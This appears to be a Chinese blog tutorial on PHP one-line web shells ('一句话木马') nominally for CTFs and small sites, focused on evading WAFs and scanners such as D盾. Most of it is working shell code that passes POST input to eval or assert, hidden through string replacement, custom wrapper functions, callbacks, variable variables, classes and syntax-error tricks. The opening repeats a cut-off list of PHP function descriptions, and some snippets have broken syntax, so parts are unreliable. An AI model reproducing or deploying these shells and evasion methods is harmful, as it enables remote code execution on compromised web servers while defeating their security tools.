木马行业:0X00普通的一句话木马 适用于CTF和小站
木马行业:0X00普通的一句话木马 适用于CTF和小站xml_set_unparsed_entity_decl_handler():函数规定在遇到无法解析的实体名称(NDATA)声明时被调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。array_map():函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。 array_filter():通过函数过滤掉数组中的元素 array_reduce():发送数组中的值到用户自定义函数,并返回一个字符串 array_diff_uassoc():比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集 array_udiff():比较两个数组的键值(使用用户自定义函数比较键值),并返回差集 array_udiff_uassoc():通过使用自定义函数比较键和值,计算数组的差集 array_in
单纯的字符串变化直接被杀的死死的,因此我们还需要配合其他无用字符去混淆视听,进而增强免杀效果!
<?php $a = str_replace(x "" "xexaxvxlx"); $a(@$_POST["110"]); ?>
这里多少一句啊,为了避免被检测到,可以参考文件上传的原理(重点是想办法造成溢出),这样的后果就是文件变大,不过适合搭配图片马使用。
0X02 php的免杀(函数特性免杀思路)函数替换
自定义函数绕过
变形回调
数组
可变变量
php免杀之函数替换array_map():函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。
array_filter():通过函数过滤掉数组中的元素
array_reduce():发送数组中的值到用户自定义函数,并返回一个字符串
array_diff_uassoc():比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集
array_udiff():比较两个数组的键值(使用用户自定义函数比较键值),并返回差集
array_udiff_uassoc():通过使用自定义函数比较键和值,计算数组的差集
array_intersect_assoc():比较两个数组的键名和键值,并返回交集
array_uintersect():比较两个数组的键值(使用用户自定义函数比较键值),并返回交集
array_uintersect_uassoc():比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集
xml_set_character_data_handler():该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 FALSE。
xml_set_default_handler():函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。
xml_set_external_entity_ref_handler():函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE
xml_set_notation_decl_handler():函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。
如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。
xml_set_unparsed_entity_decl_handler():函数规定在遇到无法解析的实体名称(NDATA)声明时被调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。
尽量去PHP语法手册,找一些及其偏门的函数........
php免杀之自定义函数绕过(可搭配大小写)<?php
function aaa($a){
return $a;
}
function bbb($b){
return eval($b);
}
function post(){
return @$_POST['110'];
}
function run(){
return aaa(bbb)(aaa(post)());
}
aaa(bbb)(aaa(post)());
?>
我们可以通过我们自定义的函数方式,搭配php的版本和可替换函数绕过WAF的拦截,达到免杀的目的!由于在PHP函数中函数名、方法名、类名 不区分大小写,但推荐使用与定义时相同的名字的时候还可以使得大小写进行绕过,所以大大提升了免杀效果!
php免杀之回调函数加组合绕过array_walk()
array_map()
filter_var()
filter_var_array()
uasort()
uksort()
以上是常见的可待替代函数,但是大部分都被杀的死死的,所以需要混淆才可以使用!
php免杀之数组绕过<?php
$a = substr_replace("evxx" "al" 2);
$b = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['110'])))));
?>
php免杀之可变变量
PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。
<?php
$zeo='miansha';
$$zeo=$_POST['110'];
eval($miansha);
?>
这个时候我们就可以使用一些多次加密的手段,把eval函数进行一个多次加密,已达到完全免杀的结果!
php的免杀使用类绕过免杀类现在是大多数人的常用选择之一,因为类这个方法在过D盾检测的时候效率较高;但是用类自然就少不了魔法函数,我们简单构造一个类的免杀马如下:
<?php
class zeo2
{
public $b ='';
function post(){
return $_POST['x'];
}
}
class zeo extends zeo2
{
public $code=null;
function __construct(){
$code=parent::post();
assert($code);
}
}
$blll = new zeo;
$bzzz = new zeo2;
?>
传统的php免杀不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。
1、利用特殊符号来引起报错
<?php \echo 'whoami'; ?>
PHP版本:只限于5.2版本
它的要求是能干扰到杀软的正则判断,还要代码能执行。这个可以自己慢慢测试。具体就是利用各种回车、换行、null和空白字符,这里我们尝试改造为可连接的一句话木马,配合上面的可变变量
<?php
$xxxxxxxxxxxxxx='miansha';
$$xxxxxxxxxxxxxx=$_POST['110'];
eval(``.$miansha);
?>